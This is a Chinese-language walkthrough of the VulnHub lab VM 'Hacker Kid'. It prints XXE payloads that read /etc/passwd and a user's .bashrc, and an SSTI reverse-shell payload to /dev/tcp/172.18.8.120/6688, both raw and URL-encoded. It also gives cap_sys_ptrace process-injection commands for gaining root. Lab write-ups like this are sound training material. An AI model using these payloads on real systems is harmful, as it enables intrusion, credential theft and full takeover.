準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Hacker kid: 1.0.1,下載地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova,下載後直接vbox開啟即可。
知識點:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep程式注入提權。
資訊收集:
透過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.5.0/24,獲得靶機地址:192.168.5.240。
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.240,顯示開放了53、80、9999埠,開啟了http服務。
web服務-資訊收集:
開啟web介面,提示資訊告訴我們使用dig(域名查詢工具)去繼續挖掘。
在其原始碼資訊中看到提示資訊:Use a GET parameter page_no to view pages,告訴我們使用page_no引數來訪問當前頁面。
使用page_no(根據引數名猜測引數應該是頁數)引數訪問當前頁面:http://192.168.5.240/?page_no=1,獲得返回提示資訊。使用bp得爆破模組當page_no=21時,獲得提示資訊,告訴我們一個域名:hackers.blackhat.local。
結合剛才讓我們使用dig繼續挖掘得資訊,這裡配合域名:hackers.blackhat.local進行挖掘,命令:dig hackers.blackhat.local @192.168.5.240,發現新的域名:hackerkid.blackhat.local。
在本機和kali中配置下dns解析:
win:開啟C:\Windows\System32\drivers\etc\hosts檔案,kali:開啟/etc/hosts檔案進行配置,配置資訊如下。
192.168.5.240 hackers.blackhat.local
192.168.5.240 blackhat.local
192.168.5.240 hackerkid.blackhat.local
xxe漏洞:
配置完成後訪問:http://hackerkid.blackhat.local/出現一個註冊介面,但是註冊時一直顯示郵箱存在問題。
使用bp進行抓包分析,發現資料是以xml格式傳送得資料,那猜測這裡可能存在xxe注入,測試xxe注入讀取下/etc/passwd檔案,發現賬戶名:saket。
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
嘗試讀取下當前使用者下得其他檔案,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功獲取到.bashc檔案資訊,對返回的資訊進行解密,獲得一組賬戶和密碼資訊:admin/Saket!#$%@!!。
ssti漏洞:
使用獲得賬戶名和資訊在:http://192.168.5.240:9999/進行登入,但是:admin/Saket!#$%@!!登入失敗,然後嘗試了下/etc/passwd檔案中發現得saket賬戶進行登入,登入成功。
提示資訊告訴我們需要告訴他我們得名字,嘗試輸入引數?name=saket,結果返回hello saket。
結合nmap掃描出來的資訊知道這裡是tornado框架,因此猜測這裡可能存在ssti注入,測試:192.168.5.240:9999/?name={{3*3}},程式碼被執行,因此這裡存在ssti注入漏洞。
獲取shell:
利用ssti注入反彈shell,因為這裡專案搞完去了下一個地方,換了酒店,所以ip地址發生了改變,命令如下:
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}}
url編碼後:
%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F172%2E18%2E8%2E120%2F6688+0%3E%261%22%27%29%7D%7D
提權:
透過命令:find / -perm -4000 -type f 2>/dev/null,來查詢下可以用來提權的資訊,發現了/usr/lib/policykit-1/polkit-agent-helper-1,當時利用polickit的兩個漏洞進行提權均是失敗,前面文章有說過這兩個漏洞。
上傳LinEnum.sh指令碼進行資訊收集,指令碼:https://pan.baidu.com/s/1fkL1bN0xDw0r5xb3a62qCQ,提取碼:upfn,在收集的資訊中發現在歷史命令中利用python2.7執行力一個指令碼,然後使用nc開啟了一個埠監聽,注意這裡執行的命令,後面是關鍵。
那就收集下和python2.7有關的資訊,命令:./LinEnum.sh | grep python2.7,
發現python2.7具有cap_sys_ptrace+ep許可權,那我們可以利用python具備的cap_sys_ptrace+ep能力將root許可權的程式注入python型別shellcode以實現許可權提升。下面兩種提權方式原理一樣。
提權方式一:
利用歷史命令中發現的執行命令資訊,執行命令:ps -eaf | grep root來找尋root程式,然後使用命令:python2.7 exp.py 784來進行程式注入,然後在本地使用nc進行5600埠的連線,成功獲得root許可權。exp.py指令碼資訊:git clone https://gitee.com/Re1-zf/shell.git。
提權方式二:
編寫指令碼對root程式批次嘗試。
for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done
然後檢視下5600埠是否開啟監聽狀態,然後在本地使用nc進行5600埠的連線,成功獲得root許可權。